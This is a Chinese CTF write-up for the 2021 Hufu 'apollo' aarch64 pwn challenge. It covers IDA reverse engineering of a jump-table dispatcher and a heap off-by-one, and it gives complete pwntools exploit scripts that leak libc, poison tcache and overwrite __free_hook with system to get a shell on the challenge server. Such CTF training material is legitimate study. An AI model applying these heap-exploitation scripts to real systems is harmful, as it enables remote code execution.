虎符 2021 Pwn apollo

aarch64:libc2.27,主要难度在逆向,根据提示,题目是个可以开车在地图(一个堆空间)上移动的程序,构造地图上的红绿灯,可以让车开出地图(堆上越界写)。由于自己逆向比较菜,只设计出了一个溢出单字节的地图,不过也够用了,相当于off-by-one。利用方法为:构造堆块重叠修改tcache块的fd,在malloc回来即可完成泄露libc与任意地址写,最后修改__free_hook为system即可getshell。

附件:apollo.zip

逆向

因为这个程序不逆向你根本不知道他接受什么输入,开始看名字还以为是阿波罗登月模拟器,后来看hint才发现和登月半毛钱关系没有,那这个玩意怎么逆呢?这个程序IDA F5识别不对的主要原因就是因为0xE14这个地址处的函数:

.text:0000000000000E14 FD 7B B4 A9                 STP             X29, X30, [SP,#var_C0]!
.text:0000000000000E18 FD 03 00 91                 MOV             X29, SP
.text:0000000000000E1C F3 0B 00 F9                 STR             X19, [SP,#0xC0+var_B0]
.text:0000000000000E20 80 00 00 F0                 ADRP            X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000E24 00 DC 47 F9                 LDR             X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 01 00 40 F9                 LDR             X1, [X0]
.text:0000000000000E2C A1 5F 00 F9                 STR             X1, [X29,#0xC0+var_8]
.text:0000000000000E30 01 00 80 D2                 MOV             X1, #0
.text:0000000000000E34 A0 00 00 90                 ADRP            X0, #off_14010@PAGE
.text:0000000000000E38 01 40 00 91                 ADD             X1, X0, #off_14010@PAGEOFF
.text:0000000000000E3C A0 63 01 91                 ADD             X0, X29, #0x58 ; 'X'
.text:0000000000000E40 22 0C 40 A9                 LDP             X2, X3, [X1]
.text:0000000000000E44 02 0C 00 A9                 STP             X2, X3, [X0]
.text:0000000000000E48 22 0C 41 A9                 LDP             X2, X3, [X1,#0x10]
.text:0000000000000E4C 02 0C 01 A9                 STP             X2, X3, [X0,#0x10]
.text:0000000000000E50 22 0C 42 A9                 LDP             X2, X3, [X1,#0x20]
.text:0000000000000E54 02 0C 02 A9                 STP             X2, X3, [X0,#0x20]
.text:0000000000000E58 22 0C 43 A9                 LDP             X2, X3, [X1,#0x30]
.text:0000000000000E5C 02 0C 03 A9                 STP             X2, X3, [X0,#0x30]
.text:0000000000000E60 22 0C 44 A9                 LDP             X2, X3, [X1,#0x40]
.text:0000000000000E64 02 0C 04 A9                 STP             X2, X3, [X0,#0x40]
.text:0000000000000E68 21 08 45 A9                 LDP             X1, X2, [X1,#0x50]
.text:0000000000000E6C 01 08 05 A9                 STP             X1, X2, [X0,#0x50]
.text:0000000000000E70 80 00 00 F0                 ADRP            X0, #off_13F98@PAGE
.text:0000000000000E74 00 CC 47 F9                 LDR             X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 00 00 40 F9                 LDR             X0, [X0]
.text:0000000000000E7C A0 27 00 F9                 STR             X0, [X29,#0xC0+var_78]
.text:0000000000000E80 A0 27 40 F9                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000E84 A0 2B 00 F9                 STR             X0, [X29,#0xC0+var_70]
.text:0000000000000E88 A0 27 40 F9                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000E8C 00 00 40 39                 LDRB            W0, [X0]
.text:0000000000000E90 E1 03 00 2A                 MOV             W1, W0
.text:0000000000000E94 80 00 00 F0                 ADRP            X0, #off_13FE8@PAGE
.text:0000000000000E98 00 F4 47 F9                 LDR             X0, [X0,#off_13FE8@PAGEOFF]
.text:0000000000000E9C 21 7C 40 93                 SXTW            X1, W1
.text:0000000000000EA0 00 78 61 B8                 LDR             W0, [X0,X1,LSL#2]
.text:0000000000000EA4 00 7C 40 93                 SXTW            X0, W0
.text:0000000000000EA8 00 F0 7D D3                 LSL             X0, X0, #3
.text:0000000000000EAC A1 63 01 91                 ADD             X1, X29, #0x58 ; 'X'
.text:0000000000000EB0 20 68 60 F8                 LDR             X0, [X1,X0]
.text:0000000000000EB4 07 00 00 14                 B               loc_ED0

loc_ED0是:

.text:0000000000000ED0             loc_ED0                                 ; CODE XREF: .text:0000000000000EB4j
.text:0000000000000ED0                                                     ; func0+15Cj ...
.text:0000000000000ED0 00 00 1F D6                 BR              X0

因为最后直接BR X0,IDA并无法知道运行到此处的X0寄存器的值,也就自然没法分析出整个函数体。我不知道有没有什么自动分析工具,只能手看了。看不懂aarch64汇编参考:

认真相面如上汇编,主要做了如下的操作:

  • 将off_14010保存的函数地址放到了栈上
  • 将off_13F98保存的输入内容的地址放到了栈上
  • 由off_13FE8中保存的跳转表的地址unk_3770找到跳转表
  • 根据输入与跳转表,得出跳转索引,跳转到之前放到栈上的函数地址

这个位于unk_3770的跳转表如下,开始没认真看以为全是0xb:

在IDA中按d转换unk_3770处的数据格式为4字节,然后右键,选择array,size设置为256即可生成如下视图

.rodata:0000000000003770 0A 00 00 00+dword_3770      DCD 0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                                        ; DATA XREF: .got:off_13FE8o
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 0B 00 00 00+                DCD 0xB, 0xB

这里总共有256表项,与输入的ascii码一一对应,其中表项的值对应off_14010的函数指针索引,可以写脚本恢复对应关系:

a = [0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
    ,0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
    ,0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
    ,0xB, 0xB]
func_list = ["loc_EB8"
            ,"sub_1018"
            ,"sub_11F4"
            ,"sub_1394"
            ,"sub_14D4"
            ,"sub_1620"
            ,"sub_1990"
            ,"sub_1D10"
            ,"sub_2080"
            ,"sub_2400"
            ,"sub_2550"
            ,"sub_2514"]
index = 0
for i in a:
    if i != 11:
        print("%s:%d:%s"%(chr(index),i,func_list[i]))
    index += 1

输出为:

:10:sub_2550
*:1:sub_1018
+:3:sub_1394
-:4:sub_14D4
/:2:sub_11F4
M:0:loc_EB8
a:7:sub_1D10
d:8:sub_2080
p:9:sub_2400
s:6:sub_1990
w:5:sub_1620

看到加减乘除和wasd,很连贯,应该没错。这里看到M对应的指针:loc_EB8,IDA并没有认为这是一个函数,我们可以先看看别的,比如看一个+对应的sub_1394,是可以F5的:

这种代码放以前我就直接放弃了,这次比赛就这一个题目能看,所以只能硬看了:

void sub_1394()
{
  __int64 v0; // x29

  if ( dword_14098 )
  {
    *(_DWORD *)(v0 + 48) = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL);
    *(_DWORD *)(v0 + 52) = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL);
    *(_DWORD *)(v0 + 56) = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 3LL);
    if ( *(_DWORD *)(v0 + 48) < dword_1409C
      && *(_DWORD *)(v0 + 52) < dword_140A0
      && !*(_BYTE *)(qword_14088 + dword_140A0 * *(_DWORD *)(v0 + 48) + *(_DWORD *)(v0 + 52))
      && *(int *)(v0 + 56) > 1
      && *(int *)(v0 + 56) <= 4 )
    {
      *(_BYTE *)(qword_14088 + dword_140A0 * *(_DWORD *)(v0 + 48) + *(_DWORD *)(v0 + 52)) = *(_DWORD *)(v0 + 56);
      *(_QWORD *)(v0 + 72) += 4LL;
      JUMPOUT(0xED0LL);
    }
    JUMPOUT(0x256CLL);
  }
  puts("Abort");
  exit(255);
}

仔细端详一会可以发现v0这个变量是导致这个代码不好懂的重要因素,另外还有两个JUMPOUT,以及几个全局变量不知道是啥,所以只要弄清楚以下三个问题,这个代码就好懂了:

  • v0是啥?
  • jmp哪去了?
  • 那几全局变量是什么玩意?

所以首先来看v0,IDA给出的注释是x29,x29是aarch64存栈基址的寄存器,所以这些加偏移应该都是函数栈上的数据。看到这里恍然大悟,这段代码是之前sub_E14蹦过来执行的,而且在跳转并不是BL系列指令,所以就不是函数调用(call),所以sub_1394压根就不是一个单独的函数,程序执行到这里时,函数的栈还是sub_E14的栈,可以理解为sub_1394是sub_E14的一部分。所以只要按照之前栈上的数据,即可明白v0加偏移到底是什么玩意。关于栈布局,我们可以静态分析也可以动态调试,分析出v0 + 72指向我们的输入,以上代码就清晰很多了。接下来我们看看loc_EB8,看看为啥IDA没有把他分析成函数:

.text:0000000000000EB8 loc_EB8                                 ; DATA XREF: .data:off_14010o
.text:0000000000000EB8                 ADRP            X0, #off_13F90@PAGE
.text:0000000000000EBC                 LDR             X0, [X0,#off_13F90@PAGEOFF]
.text:0000000000000EC0                 LDR             W0, [X0]
.text:0000000000000EC4                 CMP             W0, #0
.text:0000000000000EC8                 B.NE            loc_2564
.text:0000000000000ECC                 B               loc_ED4

发现在loc_EB8按下TAB键,IDA会直接显示sub_E14的伪代码,所以IDA应该是将loc_EB8看成了sub_E14的一部分。IDA这么理解没毛病,但是其F5显示的结果中并没有loc_EB8的任何逻辑,可能是因为BR X0在其之前。总结下来就是

  • IDA将本应属于sub_E14sub_1394划到了外面。对于sub_1394的F5,虽然栈变量看着乱套,但至少能看出大部分逻辑。
  • IDA将属于sub_E14loc_EB8划到了函数中,意义上正确,但是完全没有loc_EB8的F5结果

所以如果想看到loc_EB8的F5结果,则需要将loc_EB8sub_E14中分离出来,方法为重新设置sub_E14函数的大小,并在loc_EB8处重新定义函数:

  • sub_E14处右键Edit function,设置end address0xeb8
  • loc_EB8处右键Create function,然后F5即可:
__int64 sub_EB8()
{
  __int64 v0; // x29

  if ( dword_14098
    || (dword_1409C = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL),
        dword_140A0 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL),
        dword_1409C > 16)
    || dword_140A0 > 16
    || dword_1409C <= 3
    || dword_140A0 <= 3 )
  {
    puts("Abort");
    exit(255);
  }
  qword_14088 = (__int64)calloc(dword_1409C * dword_140A0, 1uLL);
  qword_14090 = (__int64)calloc(dword_1409C * dword_140A0, 1uLL);
  dword_14098 = 1;
  *(_QWORD *)(v0 + 72) += 3LL;
  return (*(__int64 (**)(void))(v0 + 88 + 8LL * dword_3770[**(unsigned __int8 **)(v0 + 72)]))();
}

可看到sub_1394使用的全局变量在sub_EB8被赋值,所以根据分析的栈布局现在已经完全可以明白函数的逻辑了。如果觉得这个代码不容易看,可以按照栈布局建立结构体,然后将v0变量设置为该结构体的指针(右键v0,convert to struct *),最后可以将F5结果展示为如下效果:

void sub_EB8()
{
  stack *v0; // x29

  if ( !is_calloc )
  {
    length = *(v0->input + 1);
    width = *(v0->input + 2);
    if ( length <= 16 && width <= 16 && length > 3 && width > 3 )
    {
      calloc_1 = calloc(length * width, 1uLL);
      calloc_2 = calloc(length * width, 1uLL);
      is_calloc = 1;
      v0->input += 3LL;
      __asm { BR              X0 }
    }
  }
  puts("Abort");
  exit(255);
}

到这里已经可以比较清晰的分析各个函数,从而找到其中的问题了。可见在逆向分析过程中,IDA提供了各种功能,让我们指导其来更好的反汇编或者显示目标二进制程序,这也正是IDA的名字的道理:交互式反编译工具。总结以上的过程我们使用了:

  • b键数据类型转换
  • 将数据转换为array数组
  • 设置函数大小
  • 重定义函数
  • 转换变量为结构体指针

如果对于IDA显示的结果不满意,我们甚至还可以采取patch的手段来让IDA认识代码,不过对于时间比较紧张的CTF比赛来说,看懂代码后快速找到漏洞然后调试才是王道。

漏洞

漏洞出现在如果地图上有值为2或者3的点,则可以一次走两格,如果这个点出现在地图边界,则产生越界。

void sub_1990()
{
  __int64 v0; // x29
  char v1; // w0

  if ( is_calloc )
  {
    if ( length - 1 > now_y
      && *(calloc_1 + (now_y + 1) * width + now_x) != 1
      && *(calloc_1 + (now_y + 1) * width + now_x) != 4 )
    {
      *(calloc_1 + now_y * width + now_x) = 0;
      if ( *(calloc_1 + (now_y + 1) * width + now_x) )
      {
        if ( *(calloc_1 + (now_y + 1) * width + now_x) == 2 || *(calloc_1 + (now_y + 1) * width + now_x) == 3 )
        {
          *(calloc_1 + (now_y + 2) * width + now_x) = 5;
          now_y += 2;
        }
      }
      else
      {
        *(calloc_1 + ++now_y * width + now_x) = 5;
      }
    }
    v1 = dword_14080++;
    *(calloc_2 + now_y * width + now_x) = v1;
    ++*(v0 + 72);
    JUMPOUT(0xED0LL);
  }
  puts("Abort");
  exit(255);
}

堆调试

  • 首先可以断到free函数来观察保存参数的X0寄存区获得堆的地址
  • 另外qemu-user的guest程序在同一个环境下堆的地址是固定的
  • 所以每次都用这个地址观察堆即可
file ./pwn
set architecture aarch64
b * 0x40000012f4
target remote :1234 

泄露libc

from pwn import *
context(arch='aarch64',log_level='debug')
#io = process(["qemu-aarch64","-g","1234","-L",".","./pwn"])
#io = process(["qemu-aarch64","-L",".","./pwn"])
io = remote('8.140.179.11', 13422)
data_arr    = []

pack        = lambda op, *args       :  (op + ''.join(p8(i) for i in args))
init_map    = lambda x,y             :  (pack("M", x, y))
add_over    = lambda x,y             :  (pack("+", x, y,0x02))
free        = lambda x,y             :  (pack("/", x, y))
malloc2     = lambda x,y,size,data   :  (pack("*", x, y,size & 0xFF,size >> 8),data_arr.append(data))
malloc      = lambda x,y,size,data   :  (malloc2(x,y,size,data)[0])
uu64        = lambda data            :  (u64(data.ljust(8, b'\0')))

payload  = init_map(0x10,0x10)
payload += add_over(0x0f,0x08)
payload += malloc(0x01,0x01,0x10,"")
payload += malloc(0x02,0x01,0x10,"")
payload += malloc(0x03,0x01,0x10,"")
payload += malloc(0x04,0x01,0x10,"")
payload += free(0x03,0x01)
payload += free(0x02,0x01)
payload += 'd'*8+'sw'*21+'s'*16
payload += free(0x01,0x01)
payload += malloc(0x02,0x01,0x30,'a'*31)
payload += 'p'

io.sendlineafter('>', payload)
sleep(0.1)

for i in data_arr:
    io.sendline(i)
    sleep(0.1)

io.recvline()
io.recvline()
libc = uu64(io.recv(3))+0x4000000000-0x15d4d0
log.success(hex(libc))
io.interactive()

getshell

from pwn import *
context(arch='aarch64')
io = remote('8.140.179.11', 13422)
libc = ELF("./lib/libc.so.6")
libc.address = 0x4000845000

data_arr    = []
pack        = lambda op, *args       :  (op + ''.join(p8(i) for i in args))
init_map    = lambda x,y             :  (pack("M", x, y))
add_over    = lambda x,y             :  (pack("+", x, y,0x02))
free        = lambda x,y             :  (pack("/", x, y))
malloc2     = lambda x,y,size,data   :  (pack("*", x, y,size & 0xFF,size >> 8),data_arr.append(data))
malloc      = lambda x,y,size,data   :  (malloc2(x,y,size,data)[0])

payload  = init_map(0x10,0x10)
payload += add_over(0x0f,0x08)
payload += malloc(0x01,0x01,0x10,"")
payload += malloc(0x02,0x01,0x10,"")
payload += malloc(0x03,0x01,0x10,"")
payload += free(0x02,0x01)
payload += 'd'*8+'sw'*21+'s'*16
payload += free(0x01,0x01)
payload += malloc(0x02,0x01,0x30,p64(0)*4+p64(libc.symbols['__free_hook']))
payload += malloc(0x02,0x02,0x10,"/bin/sh")
payload += malloc(0x02,0x03,0x10,p64(libc.symbols['system']))
payload += free(0x02,0x02)

io.sendlineafter('>', payload)
sleep(0.1)

for i in data_arr:
    io.sendline(i)
    sleep(0.1)

io.interactive()

比赛exp

比赛时差一点调通的exp,自己手慢

from pwn import *
context(arch='aarch64',log_level='debug')
io = process(["qemu-aarch64","-L",".","./pwn"])

libc = ELF('./lib/libc.so.6')
libc.address = 0x4000865000

payload  =  "M\x10\x10"
payload  += '+\x0f\x08\x02'
payload  += '*\x01\x01\x10\x00'
payload  += '*\x01\x02\x10\x00'
payload  += '*\x01\x03\x10\x00'
payload  += '*\x01\x04\x10\x00'
payload  += '/\x01\x02'
payload  += 'd'*8
payload  += 'sw'*21
payload  += 's'*16
payload  += '/\x01\x01'
payload  += '*\x01\x01\x30\x00'

payload  += '*\x01\x05\x10\x00'
payload  += '*\x01\x06\x10\x00'
payload  += '/\x01\x05'
payload  += 'p'

io.sendlineafter(">",payload)

sleep(0.1);io.sendline("\n")
sleep(0.1);io.sendline("\n")
sleep(0.1);io.sendline("\n")
sleep(0.1);io.sendline("\n")
sleep(0.1);io.sendline(p64(0)*4+ p64(libc.sym['__free_hook']) )
sleep(0.1);io.sendline("/bin/sh")
sleep(0.1);io.sendline(p64(libc.sym['system']))
io.interactive()